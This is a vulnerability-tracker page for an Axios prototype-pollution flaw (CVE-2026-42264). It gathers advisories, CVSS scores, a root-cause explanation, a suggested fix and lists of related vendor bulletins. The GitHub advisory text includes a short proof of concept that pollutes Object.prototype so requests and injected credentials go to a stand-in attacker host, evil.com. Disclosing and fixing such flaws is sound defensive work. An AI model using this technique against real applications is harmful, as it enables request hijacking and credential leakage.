CVE-2026-42264

Axios: Prototype pollution read-side gadgets in HTTP adapter allow credential injection and request hijacking

CVSS 3.1 7.4 HIGHEUVD CVSS 3.1 7.4 CVSS 3.1 · [email protected] · Secondary 7.4 HIGHCVSS 3.1 · [email protected] · Primary 9.1 CRITICALCVSS 3.1 · 0b0ca135-0b70-47e7-9f44-1890c2a1c46c · Secondary 7.4 HIGHCVSS_V3 Publisher rating HIGHFixed by axios 1.15.2KEV status unknown

Original advisory

cve-program · CVE-2026-42264

Published

Axios is a promise based HTTP client for the browser and Node.js. From version 1.0.0 to before version 1.15.2, fFive config properties (auth, baseURL, socketPath, beforeRedirect, and insecureHTTPParser) in the HTTP adapter are read via direct property access without hasOwnProperty guards, making them exploitable as prototype pollution gadgets. When Object.prototype is polluted by another dependency in the same process, axios silently picks up these polluted values on every outbound HTTP request. This issue has been patched in version 1.15.2.

Read the publisher's advisory

euvd · EUVD-2026-28505

Published

Read the publisher's advisory

nvd · CVE-2026-42264

Published

Read the publisher's advisory

osv · GHSA-q8qp-cvcw-x6jj

Published

## Summary Five config properties in the HTTP adapter are read via direct property access without `hasOwnProperty` guards, making them exploitable as prototype pollution gadgets. When `Object.prototype` is polluted by another dependency in the same process, axios silently picks up these polluted values on every outbound HTTP request. ## Affected Properties 1. **`config.auth`** (`lib/adapters/http.js` line 617) Injects attacker-controlled `Authorization` header on all requests. 2. **`config.baseURL`** (`lib/helpers/resolveConfig.js` line 18) Redirects all requests using relative URLs to an attacker-controlled server. 3. **`config.socketPath`** (`lib/adapters/http.js` line 669) Redirects requests to internal Unix sockets (e.g. Docker daemon). 4. **`config.beforeRedirect`** (`lib/adapters/http.js` line 698) Executes attacker-supplied callback during HTTP redirects. 5. **`config.insecureHTTPParser`** (`lib/adapters/http.js` line 712) Enables Node.js insecure HTTP parser on all requests. ## Proof of Concept ```javascript const axios = require('axios'); // Prototype pollution from a vulnerable dependency in the same process Object.prototype.auth = { username: 'attacker', password: 'exfil' }; Object.prototype.baseURL = 'https://evil.com'; await axios.get('/api/users'); // Request is sent to: https://evil.com/api/users // With header: Authorization: Basic YXR0YWNrZXI6ZXhmaWw= // Attacker receives both the request and injected credentials ``` ## Impact - **Credential injection:** Every axios request includes an attacker-controlled `Authorization` header, leaking request contents to any server that logs auth headers. - **Request hijacking:** All requests using relative URLs are silently redirected to an attacker-controlled server. - **SSRF:** Requests can be redirected to internal Unix sockets, enabling container escape in Docker environments. - **Code execution:** Attacker-supplied functions execute during HTTP redirects. - **Parser weakening:** Insecure HTTP parser enabled on all requests, enabling request smuggling. ## Root Cause `mergeConfig()` iterates `Object.keys({...config1, ...config2})`, which only returns own properties. When neither the defaults nor the user config sets these properties, they are absent from the merged config. The HTTP adapter then reads them via direct property access (`config.auth`, `config.socketPath`, etc.), which traverses the prototype chain and picks up polluted values. The `own()` helper at `lib/adapters/http.js` line 336 exists and guards 8 other properties (`data`, `lookup`, `family`, `httpVersion`, `http2Options`, `responseType`, `responseEncoding`, `transport`) from this exact attack. The 5 properties listed above are not included in this protection. ## Suggested Fix Apply the existing `own()` helper to all affected properties: ```javascript const configAuth = own('auth'); if (configAuth) { const username = configAuth.username || ''; const password = configAuth.password || ''; auth = username + ':' + password; } ``` Same pattern for `socketPath`, `beforeRedirect`, `insecureHTTPParser`, and a `hasOwnProperty` check for `baseURL` in `resolveConfig.js`.

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Affected versions, risk and source history

Exploitation and risk

Source status

CISA KEV lists vulnerabilities known to be exploited. FIRST EPSS estimates the likelihood of exploitation in the next 30 days. An unavailable score does not mean zero risk.

Which CVEs have scores here?

This view includes predictions for CVE identifiers explicitly listed in public NuGet advisories. Microsoft release pages have their own prediction coverage. Check source status for the scope and latest checks.

No exploitation or prediction data is available here for these CVEs. This does not mean they are safe or unlikely to be exploited.

cve-program · CVE-2026-42264

Published

Axios: Prototype pollution read-side gadgets in HTTP adapter allow credential injection and request hijacking

Source published: 8 May 2026 03:20:24 UTC
Source modified: 11 Sep 2026 12:09:00 UTC
Saved here: 23 Oct 2026 15:48:27 UTC
Source terms: CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

Source: cve-program · CVE Program Terms of Use. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS 3.1 · 7.4 CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

euvd · EUVD-2026-28505

Published

Axios is a promise based HTTP client for the browser and Node.js. From version 1.0.0 to before version 1.15.2, fFive config properties (auth, baseURL, socketPath, beforeRedirect, and insecureHTTPParser) in the HTTP adapter are read via dire…

Additional publisher context

EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.

Original publisher date fields

datePublished: May 8, 2026, 3:20:24 AM

dateUpdated: Sep 11, 2026, 12:09:00 PM

17 related source bulletins · separate from aliases

RHSA-2026:41951: Red Hat Security Advisory: Red Hat Data Grid 8.6.2 security update

CVE-2026-6322 · CVE-2026-9595 · CVE-2026-12143 · CVE-2026-33245 · CVE-2026-34077 · CVE-2026-40983 · CVE-2026-40984 · CVE-2026-42211 · CVE-2026-42264 · CVE-2026-42342 · CVE-2026-42583 · CVE-2026-42586 · CVE-2026-42587 · CVE-2026-44248 · CVE-2026-44249 · CVE-2026-44250 · CVE-2026-44486 · CVE-2026-44487 · CVE-2026-44488 · CVE-2026-44492 · CVE-2026-44494 · CVE-2026-44495 · CVE-2026-44496 · CVE-2026-44890 · CVE-2026-44893 · CVE-2026-45292 · CVE-2026-45416 · CVE-2026-45674 · CVE-2026-46340 · CVE-2026-47691 · CVE-2026-48006 · CVE-2026-48043 · CVE-2026-48059 · CVE-2026-50010 · CVE-2026-50011 · CVE-2026-50193 · CVE-2026-54512 · CVE-2026-54513

RHSA-2026:66545: Red Hat Security Advisory: Red Hat AMQ Broker 7.13.6 release and security update

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RHSA-2026:37287: Red Hat Security Advisory: Kiali 2.4.20 for Red Hat OpenShift Service Mesh 3.0

CVE-2026-42264

RHSA-2026:37288: Red Hat Security Advisory: Kiali 2.22.7 for Red Hat OpenShift Service Mesh 3.3

CVE-2026-42264

RHSA-2026:50300: Red Hat Security Advisory: Migration Toolkit for Applications

CVE-2026-4926 · CVE-2026-12143 · CVE-2026-13149 · CVE-2026-25681 · CVE-2026-26996 · CVE-2026-27136 · CVE-2026-27904 · CVE-2026-33811 · CVE-2026-39820 · CVE-2026-39821 · CVE-2026-40895 · CVE-2026-42039 · CVE-2026-42041 · CVE-2026-42044 · CVE-2026-42264 · CVE-2026-42342 · CVE-2026-42499 · CVE-2026-42504 · CVE-2026-44486 · CVE-2026-44487 · CVE-2026-44488 · CVE-2026-44492 · CVE-2026-44494 · CVE-2026-44495 · CVE-2026-44496 · CVE-2026-55603

WID-SEC-W-2026-1955: Atlassian Bamboo, Bitbucket, Confluence, Fisheye, Crucible, Jira und Jira Service Management: Mehrere Schwachstellen

CVE-2019-11272 · CVE-2021-3803 · CVE-2022-1471 · CVE-2022-22965 · CVE-2022-22978 · CVE-2022-31692 · CVE-2024-22257 · CVE-2025-22228 · CVE-2026-22732 · CVE-2026-24734 · CVE-2026-26996 · CVE-2026-27903 · CVE-2026-27904 · CVE-2026-29129 · CVE-2026-33870 · CVE-2026-33871 · CVE-2026-34077 · CVE-2026-34486 · CVE-2026-34487 · CVE-2026-40175 · CVE-2026-41044 · CVE-2026-41284 · CVE-2026-41293 · CVE-2026-42033 · CVE-2026-42035 · CVE-2026-42038 · CVE-2026-42043 · CVE-2026-42198 · CVE-2026-42211 · CVE-2026-42264 · CVE-2026-42342 · CVE-2026-42498 · CVE-2026-42579 · CVE-2026-42581 · CVE-2026-42583 · CVE-2026-42584 · CVE-2026-42585 · CVE-2026-42587 · CVE-2026-43512 · CVE-2026-43513 · CVE-2026-43515 · CVE-2026-44486 · CVE-2026-44487 · CVE-2026-44488 · CVE-2026-44492 · CVE-2026-44495 · CVE-2026-44496 · CVE-2026-45149 · CVE-2026-45736

RHSA-2026:42142: Red Hat Security Advisory: Red Hat Ansible Automation Platform 2.7 Container Release Update

CVE-2026-6322 · CVE-2026-12382 · CVE-2026-12701 · CVE-2026-27136 · CVE-2026-27145 · CVE-2026-39821 · CVE-2026-42264 · CVE-2026-42561 · CVE-2026-44486 · CVE-2026-44487 · CVE-2026-44488 · CVE-2026-44492 · CVE-2026-44494 · CVE-2026-44495 · CVE-2026-44496 · CVE-2026-48526 · CVE-2026-48746 · CVE-2026-54283

RHSA-2026:41928: Red Hat Security Advisory: Red Hat Migration Toolkit for Containers

CVE-2025-7783 · CVE-2025-12816 · CVE-2025-13465 · CVE-2025-15284 · CVE-2025-52881 · CVE-2025-58183 · CVE-2025-58754 · CVE-2025-61726 · CVE-2025-61729 · CVE-2025-62718 · CVE-2025-66031 · CVE-2025-66418 · CVE-2025-66471 · CVE-2025-66506 · CVE-2025-68121 · CVE-2025-69223 · CVE-2025-69227 · CVE-2025-69228 · CVE-2026-4800 · CVE-2026-6322 · CVE-2026-9277 · CVE-2026-9595 · CVE-2026-12143 · CVE-2026-13149 · CVE-2026-13676 · CVE-2026-21441 · CVE-2026-22029 · CVE-2026-23490 · CVE-2026-23745 · CVE-2026-25679 · CVE-2026-25681 · CVE-2026-27136 · CVE-2026-27137 · CVE-2026-29063 · CVE-2026-30922 · CVE-2026-32280 · CVE-2026-32281 · CVE-2026-32283 · CVE-2026-33186 · CVE-2026-33810 · CVE-2026-33811 · CVE-2026-34986 · CVE-2026-39820 · CVE-2026-39821 · CVE-2026-40895 · CVE-2026-42264 · CVE-2026-42338 · CVE-2026-42499 · CVE-2026-44486 · CVE-2026-44487 · CVE-2026-44488 · CVE-2026-44492 · CVE-2026-44494 · CVE-2026-44495 · CVE-2026-44496 · CVE-2026-45736 · CVE-2026-45822 · CVE-2026-48779

RHSA-2026:60520: Red Hat Security Advisory: RHOAI 3.4.4 - Red Hat OpenShift AI

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RHSA-2026:33173: Red Hat Security Advisory: Kiali 2.17.10 for Red Hat OpenShift Service Mesh 3.2

CVE-2026-12143 · CVE-2026-39821 · CVE-2026-42264 · CVE-2026-42338 · CVE-2026-44486 · CVE-2026-44487 · CVE-2026-44488 · CVE-2026-44492 · CVE-2026-44494 · CVE-2026-44495 · CVE-2026-44496 · CVE-2026-48779

openSUSE-SU-2026:20919-1: Security update for agama-web-ui

CVE-2025-7339 · CVE-2026-42041 · CVE-2026-42264 · CVE-2026-9277

RHSA-2026:66488: Red Hat Security Advisory: Red Hat AMQ Broker 7.14.1 release and security update

CVE-2025-14813 · CVE-2026-0636 · CVE-2026-5588 · CVE-2026-9595 · CVE-2026-10050 · CVE-2026-10051 · CVE-2026-12143 · CVE-2026-12151 · CVE-2026-13149 · CVE-2026-13676 · CVE-2026-34478 · CVE-2026-34480 · CVE-2026-34481 · CVE-2026-40983 · CVE-2026-40984 · CVE-2026-42198 · CVE-2026-42264 · CVE-2026-42338 · CVE-2026-42578 · CVE-2026-42581 · CVE-2026-42583 · CVE-2026-42584 · CVE-2026-42587 · CVE-2026-42588 · CVE-2026-44248 · CVE-2026-44249 · CVE-2026-44486 · CVE-2026-44487 · CVE-2026-44488 · CVE-2026-44492 · CVE-2026-44494 · CVE-2026-44496 · CVE-2026-44893 · CVE-2026-45205 · CVE-2026-45416 · CVE-2026-45736 · CVE-2026-48043 · CVE-2026-48059 · CVE-2026-48779 · CVE-2026-49362 · CVE-2026-49363 · CVE-2026-49364 · CVE-2026-49432 · CVE-2026-49978 · CVE-2026-50010 · CVE-2026-50734 · CVE-2026-53916 · CVE-2026-54512 · CVE-2026-54513 · CVE-2026-55831 · CVE-2026-55833 · CVE-2026-55851 · CVE-2026-56745 · CVE-2026-56746 · CVE-2026-56819 · CVE-2026-57822 · CVE-2026-57967 · CVE-2026-59869 · CVE-2026-59873 · CVE-2026-59874 · CVE-2026-59899 · CVE-2026-62243 · CVE-2026-66257 · CVE-2026-66273 · CVE-2026-66274 · CVE-2026-67593 · CVE-2026-68494

RHSA-2026:20938: Red Hat Security Advisory: RHACS 4.9.7 security and bug fix update

CVE-2025-62718 · CVE-2026-32281 · CVE-2026-40175 · CVE-2026-40895 · CVE-2026-42033 · CVE-2026-42035 · CVE-2026-42039 · CVE-2026-42041 · CVE-2026-42043 · CVE-2026-42044 · CVE-2026-42264 · CVE-2026-44486 · CVE-2026-44487 · CVE-2026-44488 · CVE-2026-44492 · CVE-2026-44494 · CVE-2026-44495 · CVE-2026-44496

RHSA-2026:62260: Red Hat Security Advisory: Red Hat OpenShift Dev Spaces 3.30.0 Release.

CVE-2025-55163 · CVE-2026-8286 · CVE-2026-9277 · CVE-2026-9547 · CVE-2026-9563 · CVE-2026-10050 · CVE-2026-10051 · CVE-2026-12143 · CVE-2026-12151 · CVE-2026-13149 · CVE-2026-15075 · CVE-2026-15076 · CVE-2026-27136 · CVE-2026-34986 · CVE-2026-39820 · CVE-2026-39831 · CVE-2026-39835 · CVE-2026-40898 · CVE-2026-40983 · CVE-2026-40984 · CVE-2026-41242 · CVE-2026-41695 · CVE-2026-41716 · CVE-2026-42264 · CVE-2026-42499 · CVE-2026-44705 · CVE-2026-45149 · CVE-2026-45416 · CVE-2026-45623 · CVE-2026-45674 · CVE-2026-46597 · CVE-2026-46681 · CVE-2026-47691 · CVE-2026-48020 · CVE-2026-48068 · CVE-2026-48491 · CVE-2026-49978 · CVE-2026-50010 · CVE-2026-50193 · CVE-2026-53488 · CVE-2026-53492 · CVE-2026-53622 · CVE-2026-54399 · CVE-2026-54428 · CVE-2026-54512 · CVE-2026-54513 · CVE-2026-54763 · CVE-2026-55831 · CVE-2026-55833 · CVE-2026-56745 · CVE-2026-56746 · CVE-2026-56819 · CVE-2026-59296 · CVE-2026-59869 · CVE-2026-59873 · CVE-2026-59874 · CVE-2026-59877 · CVE-2026-59888 · CVE-2026-59899 · CVE-2026-65600 · CVE-2026-65601 · CVE-2026-67213 · CVE-2026-67214 · CVE-2026-68494 · CVE-2026-69152 · CVE-2026-69153 · CVE-2026-73086 · CVE-2026-73566 · CVE-2026-73646 · CVE-2026-75838

RHSA-2026:37297: Red Hat Security Advisory: Kiali 2.11.14 for Red Hat OpenShift Service Mesh 3.1

CVE-2026-42264

RHSA-2026:20889: Red Hat Security Advisory: RHACS 4.10.3 security and bug fix update

CVE-2025-62718 · CVE-2026-25679 · CVE-2026-32280 · CVE-2026-32281 · CVE-2026-40895 · CVE-2026-42033 · CVE-2026-42035 · CVE-2026-42039 · CVE-2026-42041 · CVE-2026-42043 · CVE-2026-42044 · CVE-2026-42264 · CVE-2026-44486 · CVE-2026-44487 · CVE-2026-44488 · CVE-2026-44492 · CVE-2026-44494 · CVE-2026-44495 · CVE-2026-44496

RHSA-2026:36207: Red Hat Security Advisory: RHACS 4.11.1 security and bug fix update

CVE-2026-9165 · CVE-2026-25681 · CVE-2026-27136 · CVE-2026-33811 · CVE-2026-39821 · CVE-2026-39828 · CVE-2026-39829 · CVE-2026-39830 · CVE-2026-39835 · CVE-2026-42264 · CVE-2026-42502 · CVE-2026-46595 · CVE-2026-53488

Source published: May 8, 2026, 3:20:24 AM (timezone not stated)
Source modified: Sep 11, 2026, 12:09:00 PM (timezone not stated)
Saved here: 14 Nov 2026 06:10:58 UTC
Source terms: ENISA EUVD · source terms and attribution apply

Original source record · Cite this exact observation · Complete original publisher JSON

Source: euvd · ENISA EUVD · source terms and attribution apply. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

EUVD CVSS 3.1 · 7.4 CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

nvd · CVE-2026-42264

Published

Axios is a promise based HTTP client for the browser and Node.js. From version 1.0.0 to before version 1.15.2, fFive config properties (auth, baseURL, socketPath, beforeRedirect, and insecureHTTPParser) in the HTTP adapter are read via dire…

Additional publisher context

NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.

Source analysis status: Modified

Weakness classifications: CWE-1321 · CWE-915

Original publisher date fields

published: 2026-05-08T04:16:20.313

lastModified: 2026-11-11T23:10:00.263

1 source CPE criteria · context only

cpe:2.3:a:axios:axios:*:*:*:*:*:node.js:*:*

The original JSON retains the logical configuration operators, exclusions and version bounds.

Source published: 8 May 2026 04:16:20 UTC
Source modified: 11 Nov 2026 23:10:00 UTC
Saved here: 12 Nov 2026 16:19:37 UTC
Source terms: NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

Source: nvd · NIST NVD usage terms; underlying source attribution retained. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS 3.1 · [email protected] · Secondary · 7.4 CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

CVSS 3.1 · [email protected] · Primary · 9.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

CVSS 3.1 · 0b0ca135-0b70-47e7-9f44-1890c2a1c46c · Secondary · 7.4 CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

osv · GHSA-q8qp-cvcw-x6jj

Published

Axios has prototype pollution read-side gadgets in HTTP adapter that allow credential injection and request hijacking

Source published: 5 May 2026 00:18:38 UTC
Source modified: 10 Sep 2026 03:50:55 UTC
Saved here: 24 Oct 2026 13:17:17 UTC
Source terms: GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

Source: osv · GitHub Advisory Database · CC-BY-4.0. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS_V3 · CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

Publisher rating · HIGH